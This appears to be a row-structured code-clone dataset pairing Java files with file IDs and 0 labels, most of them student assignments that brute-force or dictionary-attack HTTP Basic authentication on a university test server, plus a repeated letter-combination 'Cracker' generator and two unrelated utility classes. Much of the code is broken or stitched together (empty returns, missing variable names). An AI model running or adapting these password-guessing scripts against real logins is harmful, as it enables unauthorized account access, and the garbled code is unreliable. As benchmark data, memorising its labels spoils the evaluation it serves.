}
if (errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
{
String one = new String(asciiUpper, firstPosition,number);
String two = new String (asciiUpper, secondPosition, number);
String three = new String (asciiLower, thirdPosition, number);
String password = one + two + three;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
if (errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
{
String one = new String(asciiUpper, firstPosition,number);
String two = new String (asciiLower, secondPosition, number);
String three = new String (asciiUpper, thirdPosition, number);
String password = one + two + three;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
Date endDate = new Date();
System.out.println("Password crack finished: " + endDate);
System.out.println("Password crack started: " + startDate);
System.out.println(" of attempts: " + attempts);
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
146.java | 207.java | 0 | import java.net.*;
import java.util.*;
public class BruteForce {
public static void main(String[] args) {
new CrackAttempt();
}
}
class CrackAttempt {
public CrackAttempt() {
final int MAX_LENGTH = 3;
boolean auth = false;
Date = new Date();
boolean morePasswords = true;
int passPtr = 0;
StringBuffer validChars = new StringBuffer("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
char[] password = new char[MAX_LENGTH];
password[0] = validChars.charAt(0);
while (!auth && morePasswords) {
String resource = "http://sec-crack.cs.rmit.edu./SEC/2/";
try {
Authenticator.setDefault(new CrackAuth(password));
URL url = new URL(resource);
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
conn.setRequestMethod("HEAD");
if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
System.out.println("cracked with " + new String(password));
auth = true;
}
} catch (Exception e) {
System.out.println(" was exception: " + e.getMessage());
}
int count = passPtr;
while (true) {
if (password[count] == validChars.charAt(validChars.length() - 1)) {
password[count] = validChars.charAt(0);
count--;
} else {
password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);
break;
}
if (count < 0) {
if (passPtr < MAX_LENGTH - 1) {
passPtr++;
password[passPtr] = validChars.charAt(0);
} else {
morePasswords = false;
}
break;
}
}
}
if (!auth) {
System.out.println("Unable determine password");
} else {
time = (new Date()).getTime() - start.getTime();
System.out.println("it took " + String.valueOf(time) + " milliseconds crack the password");
}
}
}
class CrackAuth extends Authenticator {
char[] password;
public CrackAuth(char[] password) {
this.password = password;
}
protected PasswordAuthentication getPasswordAuthentication()
{
String user = "";
return new PasswordAuthentication(user, password);
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
113.java | 207.java | 0 |
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class MailsendPropertyHelper {
private static Properties testProps;
public MailsendPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");
testProps.load(fis);
}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
078.java | 207.java | 0 | import java.util.*;
import java.net.*;
import java.io.*;
public class BruteForce
{
boolean connected = false;
int counter;
String[] chars = {"a","b","c","d","e","f","g","h",
"i","j","k","l","m","n","o","p",
"q","r","s","t","u","v","w","x",
"y","z","A","B","C","D","E","F",
"G","H","I","J","K","L","M","N",
"O","P","Q","R","S","T","U","V",
"W","X","Y","Z"};
Vector combinations = new Vector();
BruteForce()
{
counter = 0;
this.genCombinations();
this.startAttack();
}
public void startAttack()
{
while(counter<this.combinations.size())
{
connected = sendRequest();
if(connected == true)
{
System.out.print("The password is: ");
System.out.println((String)combinations.elementAt(counter-1));
counter = combinations.size();
}
}
}
public void genCombinations()
{
String combination = new String();
for (int x=0; x<52; x++)
{
combination = chars[x];
this.combinations.addElement(combination);
}
for (int x=0; x<52; x++)
{
for (int y=0; y<52; y++)
{
combination = chars[x] + chars[y];
this.combinations.addElement(combination);
}
}
for (int x=0; x<52; x++)
{
for (int y=0; y<52; y++)
{
for (int z=0; z<52; z++)
{
combination = chars[x] + chars[y] + chars[z];
this.combinations.addElement(combination);
}
}
}
}
public boolean sendRequest()
{
Authenticator.setDefault (new MyAuthenticator ());
try
{
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();
urlConn.connect();
if(urlConn.getResponseMessage().equalsIgnoreCase("OK"))
{
return true;
}
}
catch (IOException e) {}
return false;
}
public static void main(String [] args)
{
BruteForce bf = new BruteForce();
}
class MyAuthenticator extends Authenticator {
protected PasswordAuthentication getPasswordAuthentication() {
String username = "";
String password = (String)combinations.elementAt(counter);
counter++;
return new PasswordAuthentication(username, password.toCharArray());
}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
059.java | 207.java | 0 |
public class Base64Converter
{
public static final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public static String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public static String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length )
{
bits24 = ( octetString [ i++ ] & 0xFF ) << 16;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 8;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
142.java | 207.java | 0 | import java.io.*;
import java.util.*;
import java.net.*;
import java.misc.BASE64Encoder;
public class Dictionary
{
public Dictionary()
{
}
public static void main(String[] args)
{
try
{
if (args.length != 3 )
{
System.out.println("Usage: java BruteForce <URL> <UserName> <DictFileName>");
System.exit(1);
}
timeStart = System.currentTimeMillis();
String strPass = applyDictionary (args[0], args[1], args [2]);
timeEnd = System.currentTimeMillis();
System.out.println("\n\n\n\n\tPass Cracked is: " + strPass);
System.out.println("\tTime taken is (sec):" + String.valueOf((timeEnd - timeStart)/1000));
}
catch(Exception e)
{
e.printStackTrace();
}
}
static String applyDictionary (String URL, String UserName, String strUrlDictionary)
{
String strPass = "";
try
{
FileInputStream fIn = new FileInputStream ( strUrlDictionary );
DataInputStream dtIn = new DataInputStream ( fIn );
System.out.print("\n\n\n Applying Dictionary Attack: ");
while (dtIn.available() > 0)
{
strPass = dtIn.readLine();
if (strPass.length() != 3)
continue;
System.out.print("\b\b\b" + strPass );
boolean boolResult = applyPass ( URL, UserName, strPass );
if (boolResult)
{
dtIn.close();
fIn.close();
return strPass;
}
}
dtIn.close();
fIn.close();
}
catch (Exception e)
{
e.printStackTrace();
}
return "Could not find match";
}
private static boolean applyPass (String strURL, String strUserName, String strPass )
{
BASE64Encoder myEncoder = new BASE64Encoder ();
try
{
String str = strUserName + ":" + strPass;
String strEncode = myEncoder.encode(str.getBytes());
URL url = new URL (strURL);
URLConnection urlConn = url.openConnection();
urlConn.setRequestProperty ("Authorization", " " + strEncode);
urlConn.connect();
String strReply = urlConn.getHeaderField(0);
if ( strReply.trim().equalsIgnoreCase("HTTP/1.1 200 OK") )
{
return true;
}
}
catch (Exception e)
{
e.printStackTrace ();
}
return false;
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
047.java | 207.java | 0 | import java.io.*;
import java.net.*;
import java.text.*;
import java.util.*;
class Dictionary {
private String password="";
private int num=401;
public static void main(String[] args) {
Dictionary URLcon;
int length = 0;
String passwd="";
int t0,t1;
String line ="";
if (args.length == 0) {
System.err.println (
"Usage : java BruteForce <username>");
return;
}
String username = args[0];
t0=System.currentTimeMillis();
System.out.println (" " + new Date());
System.out.println ("Using Dictionary method attack "+username+"'s password. Please waiting.......");
try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));
while ((passwd=in.readLine())!=null) {
URLcon = new Dictionary (passwd,username);
if ((URLcon.num)!=401) {
t1=System.currentTimeMillis();
System.out.println("The password: "+ passwd);
double dt =t1-t0;
System.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");
System.out.println ("Finish " + new Date());
return;
}
}
}catch (FileNotFoundException e){
System.out.println(e);
}catch (IOException e){
System.out.println(e);
}
System.out.println(" not find the password");
}
public Dictionary (String password,String username) {
String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;
try {
String userPassword = username+":"+password ;
String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());
URL url = new URL (urlString);
HttpURLConnection uc = (HttpURLConnection) url.openConnection();
uc.setRequestProperty ("Authorization", " " + encoding);
url = uc.getResponseCode();
}
catch(MalformedURLException e){
System.out.println(e);
}catch(IOException e){
System.out.println(e);
}
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
